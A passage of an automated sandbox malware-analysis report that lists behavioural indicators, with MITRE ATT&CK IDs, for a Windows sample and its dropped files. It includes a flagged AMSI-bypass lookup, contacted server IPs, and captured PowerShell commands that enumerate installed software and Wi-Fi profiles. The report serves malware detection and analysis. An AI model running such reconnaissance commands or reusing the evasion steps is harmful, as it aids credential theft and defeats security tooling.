\"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00008084)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1685","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$3b","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$3c","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"uzbektajik.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00006976)\n \"helper.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\mojo.13042.2140.2408.chrome\" - (UID: 00000000-00006700)\n \"helper.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\msedge.crashpad_3268_085D\" - (UID: 00000000-00006700)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134366676235812026.8084.DefaultAppDomain.powershell\" - (UID: 00000000-00008084)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134366676236217075.6552.DefaultAppDomain.powershell\" - (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$3d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$3e","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"57.150.53.97:443\"\n \"107.175.82.242:9000\"\n \"208.95.112.1:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"_.pdb/\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"file\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"52,6940,3142,,CreateProcessA,kernel32.dll,\"01:11:15.390\",RX=0,PX=0\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006548.00000000.273667.A447E000.00000004.mdmp\")\n Found reference to API \"852,6940,3142,,CreateProcessA,kernel32.dll,\"01:11:17.875\",RX=0,PX=0\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006548.00000001.273794.A447E000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"file\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"NtDeviceIoControlFile\"; File: \"file\")\n Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"DeviceIoControl\"; File: \"file\")\n Found reference to API \"IoCreateDevice\" (Indicator: \"IoCreateDevice\"; File: \"file\")\n Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"NtDeviceIoControlFile\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: file)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: uzbektajik.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExA@KERNEL32.dll at 59498-320-0000000140016420","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$41","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"cmd.exe /c start \"\" \"\"\" (Indicator: \"cmd.exe /c\"; File: \"file\")\n Found string \"cmd.exe /c start \"\" \"\"\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"User authentication using Basic authentication scheme failed. %n%n Additional Data %n Unexpected error received from LogonUser %1: %%%1.\" (Indicator: \"LogonUser\"; Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"file\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"file\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"file\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$42","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains artifacts from Rust programming language","description":"$43","origin":"File/Memory","relevance":1,"id":"string-943","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileExW in import section (Source: uzbektajik.exe)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$44","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$45","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"itsub.exe\" as clean (type is \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections\"), Antivirus vendors marked dropped file \"jep0nmpc32hk.sys\" as clean (type is \"PE32+ executable for MS Windows 5.02 (native) x86-64 7 sections\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -Command \"Get-ItemProperty HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\* | Select-Object DisplayName\"\" (UID: 00000000-00008084)\n Process \"powershell.exe\" with commandline \"\"powershell\" -Command \"netsh wlan show profiles\"\" (UID: 00000000-00006552)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$46","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"file\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"uzbektajik.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"helper.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"lss.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"jep0nmpc32hk.sys\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_GUARD_CF","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"bridge_backstage_opera_uia_click@backstage.input.opera\"\n Pattern match: \"appro@openssl.org\"\n Pattern match: \"iepo@microsoft.com\"\n Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\mojo.13042.2140.2408.chrome\n Found string - \\\\.\\pipe\\msedge.crashpad_3268_085D\n Found string - \\\\.\\pipe\\PSHost.134366676235812026.8084.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134366676236217075.6552.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$47","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$48","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"chrome.exe\" (UID: 00000000-00004276)\n Launches browser \"msedge.exe\" (UID: 00000000-00007388)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"curl.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 338F0000\n \"netsh.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 2D340000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$49","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 03820000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 1DEE0000","origin":"Loaded Module","mitre_attack_id":"T1685","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"$4a","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 04E20000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"file.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 34F80000\n \"curl.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 34F80000\n \"uzbektajik.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 34F80000\n \"itsub.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 34F80000\n \"ipconfig.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 34F80000\n \"helper.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 34F80000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 34F80000\n \"tasklist.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 34F80000\n \"whoami.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 34F80000\n \"lss.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 34F80000\n \"netsh.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 34F80000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a00e100000040c72d32fe7f0000@ntdll.dll\"\n \"22002300e100000018c72d32fe7f0000@ntdll.dll\"\n \"19001a00fe7f000040c72d32fe7f0000@ntdll.dll\"\n \"22002300fe7f000018c72d32fe7f0000@ntdll.dll\"\n \"19001a00d000000040c72d32fe7f0000@ntdll.dll\"\n \"22002300d000000018c72d32fe7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"file\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"uzbektajik.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"helper.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"lss.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"jep0nmpc32hk.sys\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"May be able to execute Exchange Online Remote PowerShell Modulee","description":"Found reference to API (Indicator: \"$p=get-appxpackage -name '\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.003","relevance":1,"id":"string-770","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"Found string \"c' -ErrorAction SilentlyContinue | Select-Object -First 1; if($p){Write-Output $p.PackageFamilyName}\" (Indicator: \"Write-Output\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found string \"if(Test-Path 'HKLM:\\SOFTWARE\\Microsoft\\PolicyManager\\current\\device\\Defender'){$source='MDM'}elseif(Test-Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender'){$source='Group Policy'};\" (Indicator: \"Test-Path\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$4b","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"file\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"uzbektajik.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"helper.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"lss.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"jep0nmpc32hk.sys\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"file\" has an executable section named \".text\"\n \"uzbektajik.exe\" has an executable section named \".text\"\n \"helper.exe\" has an executable section named \".text\"\n \"lss.exe\" has an executable section named \".text\"\n \"jep0nmpc32hk.sys\" has an executable section named \".text\"\n \"jep0nmpc32hk.sys\" has an executable section named \"INIT\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"file\" has an writable section named \".data\"\n \"file\" has an writable section named \".tls\"\n \"uzbektajik.exe\" has an writable section named \".data\"\n \"helper.exe\" has an writable section named \".data\"\n \"lss.exe\" has an writable section named \".data\"\n \"jep0nmpc32hk.sys\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$4c","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x106600\" greater than 0x100000\n Raw size of \".rdata\" is \"0x1fba00\" greater than 0x100000\n Raw size of \".text\" is \"0x155200\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x1065d4\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x1fb83a\" greater than 0x100000\n Virtual size of \".text\" is \"0x155084\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"file\" has high imagebase \"0x140000000\"\n \"uzbektajik.exe\" has high imagebase \"0x140000000\"\n \"helper.exe\" has high imagebase \"0x140000000\"\n \"lss.exe\" has high imagebase \"0x140000000\"\n \"jep0nmpc32hk.sys\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Possibly checks for the presence of an Antivirus engine","description":"\"Avast\" (Indicator: \"avast\") in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-8","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$4d","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"curl.exe\" (UID: 00000000-00004788) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"curl.exe\" (UID: 00000000-00004788) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"\n Process \"netsh.exe\" (UID: 00000000-00003480) was launched with modified environment variables: \"PSModulePath, PATHEXT\"\n Process \"msedge.exe\" (UID: 00000000-00007388) was launched with modified environment variables: \"PSModulePath, PATHEXT\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"ip-api.com\"\n \"vsblobprodscussu5shard21.blob.core.windows.net\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$4e","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$50","origin":"Monitored 